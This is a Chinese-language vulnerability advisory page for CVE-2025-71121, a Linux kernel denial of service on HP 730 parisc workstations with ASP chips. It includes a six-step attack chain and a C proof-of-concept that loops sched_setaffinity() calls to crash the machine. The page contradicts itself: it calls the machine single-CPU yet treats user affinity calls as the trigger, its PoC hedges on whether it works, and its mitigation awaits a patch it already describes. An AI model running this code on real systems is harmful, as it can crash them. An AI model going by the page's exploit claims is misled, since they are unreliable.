IPBUF安全漏洞报告
English
CVE-2025-71121 CVSS 5.5 中危

CVE-2025-71121: Linux kernel parisc ASP芯片亲和性重编程本地拒绝服务漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71121
漏洞类型
本地拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (parisc架构)

相关标签

Linux内核parisc架构本地拒绝服务CPU亲和性ASP芯片HP 730HPMC内核漏洞硬件兼容性

漏洞概述

CVE-2025-71121是Linux内核中存在于parisc架构的一个本地拒绝服务漏洞。该漏洞源于ASP芯片(一种非常古老的GSP芯片变体,用于HP 730工作站等设备)在进行CPU亲和性重编程时会导致系统崩溃并产生HPMC(Hardware Machine Check Abort)错误。问题原因在于ASP芯片的相关寄存器位于非标准位置,当内核尝试按照常规方式重新编程CPU亲和性时,由于无法正确访问这些寄存器,导致系统崩溃。由于HP 730是一款单CPU机器,实际上并不需要进行亲和性重编程操作,因此可以通过在执行重编程前检查sversion来避免此问题。该漏洞需要本地低权限用户即可触发,无需用户交互即可造成系统可用性中断。

技术细节

该漏洞存在于Linux内核的parisc架构CPU亲和性处理代码中。ASP(Assistant Processor)芯片是HP公司早期工作站中使用的处理器变体,与标准GSP芯片在硬件实现上存在差异。当内核调度器尝试通过smp_migrate_to_cpumask_*函数重新配置CPU亲和性时,会访问特定的硬件寄存器来设置处理器亲和性掩码。然而,ASP芯片的寄存器布局与标准GSP芯片不同,寄存器地址不在常规位置,导致访问这些地址时触发硬件级别的错误检测机制(HPMC),进而导致系统崩溃。攻击者只需编写程序调用sched_setaffinity()系统调用,针对特定CPU核心设置亲和性,即可触发此漏洞。由于HP 730工作站本身就是单CPU系统,此操作不仅会导致崩溃,而且在业务逻辑上也是不必要的。修复方案是在执行亲和性重编程前检查处理器sversion标识符,对于ASP芯片直接跳过重编程操作。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地访问权限,以低权限用户身份登录系统
STEP 2
步骤2
攻击者编写并执行调用sched_setaffinity()系统调用的程序
STEP 3
步骤3
内核尝试对ASP芯片进行CPU亲和性重编程操作
STEP 4
步骤4
由于ASP芯片寄存器不在标准位置,内核访问非法内存地址
STEP 5
步骤5
硬件触发HPMC(Hardware Machine Check Abort)错误
STEP 6
步骤6
系统崩溃并进入不可恢复状态,造成本地拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-71121 - Local DoS via CPU affinity reprogramming on ASP chip // Compile: gcc -o cve202571121_poc cve202571121_poc.c // Run as low-privilege user on vulnerable HP 730 workstation with parisc architecture #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <sched.h> #include <unistd.h> int main() { cpu_set_t mask; int cpu_count; printf("[*] CVE-2025-71121 PoC - Linux kernel parisc ASP chip DoS\n"); printf("[*] Target: HP 730 workstation with ASP chip\n"); // Get number of available CPUs cpu_count = sysconf(_SC_NPROCESSORS_ONLN); printf("[*] Detected %d CPU(s)\n", cpu_count); if (cpu_count <= 1) { printf("[!] Single CPU system - vulnerability may still trigger\n"); } // Attempt to set affinity to each available CPU for (int i = 0; i < cpu_count; i++) { CPU_ZERO(&mask); CPU_SET(i, &mask); printf("[*] Attempting sched_setaffinity for CPU %d...\n", i); if (sched_setaffinity(0, sizeof(cpu_set_t), &mask) == -1) { perror("[!] sched_setaffinity failed"); continue; } printf("[+] Successfully set affinity to CPU %d\n", i); sleep(1); } printf("[*] PoC completed - check for HPMC crash on ASP chip systems\n"); return 0; } // Note: This vulnerability specifically affects parisc architecture with ASP chip // On vulnerable systems, calling sched_setaffinity may trigger HPMC and system crash // The vulnerability occurs because ASP chip registers are at non-standard locations

影响范围

Linux Kernel (parisc架构) - 所有未应用修复的版本
HP 730工作站运行的Linux内核
使用ASP芯片的HP系统

防御指南

临时缓解措施
在官方补丁发布之前,建议在受影响的HP 730工作站上避免使用taskset命令或sched_setaffinity()系统调用来修改CPU亲和性。对于必须运行关键业务的系统,建议暂时迁移到其他架构的硬件平台或联系HP获取硬件层面的解决方案。由于该漏洞仅影响使用ASP芯片的老旧HP工作站,现代系统不受影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表